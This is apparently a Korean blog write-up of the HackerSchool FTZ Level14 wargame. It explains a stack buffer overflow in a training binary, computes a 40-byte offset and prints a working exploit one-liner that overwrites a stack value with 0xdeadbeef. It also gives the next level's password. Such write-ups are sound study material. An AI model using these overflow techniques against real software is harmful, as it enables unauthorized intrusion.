레벨14이후로는 mainsource의 문제를 그대로 가져왔다고 한다.
fgets를 이용해서 받는다.
fgets(buf,45,stdin)이므로
마지막 널 문자를 제외한 44바이트를 최대로 입력받는다.
main+39부분에서,
ebp-16과 0xdeadbeef를 비교한다.
따라서, ebp-16부분에 0xdeadbeef를 넣어줘야 한다.
버퍼에서 확장된 스택의 크기는 56바이트(더미포함)
ebp : 0xbfff6f8 value:0xbfff6f8(초기 esp의 값)
main의 ebp - 0xbfff6d8 value: 0xbfff6f68
A*16를 줬을때
버퍼는 0xbffff6a0부터 쌓인다.
f6c8(ebp-16) - f6a0(문자열쌓이는위치) = 40바이트
A*40 + \xef\xbe\xad\xde
공격코드:
(python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat) | ./attackme
level15 패스워드 : "guess what"
'System Hacking' 카테고리의 다른 글
[해커스쿨FTZ] Level16 (0) | 2020.01.06 |
---|---|
[해커스쿨FTZ] Level15 (0) | 2020.01.06 |
[해커스쿨FTZ] Level13 (0) | 2020.01.06 |
[pwnable.kr] coin1 (0) | 2019.10.01 |
[pwnable.kr] shellshock (0) | 2019.10.01 |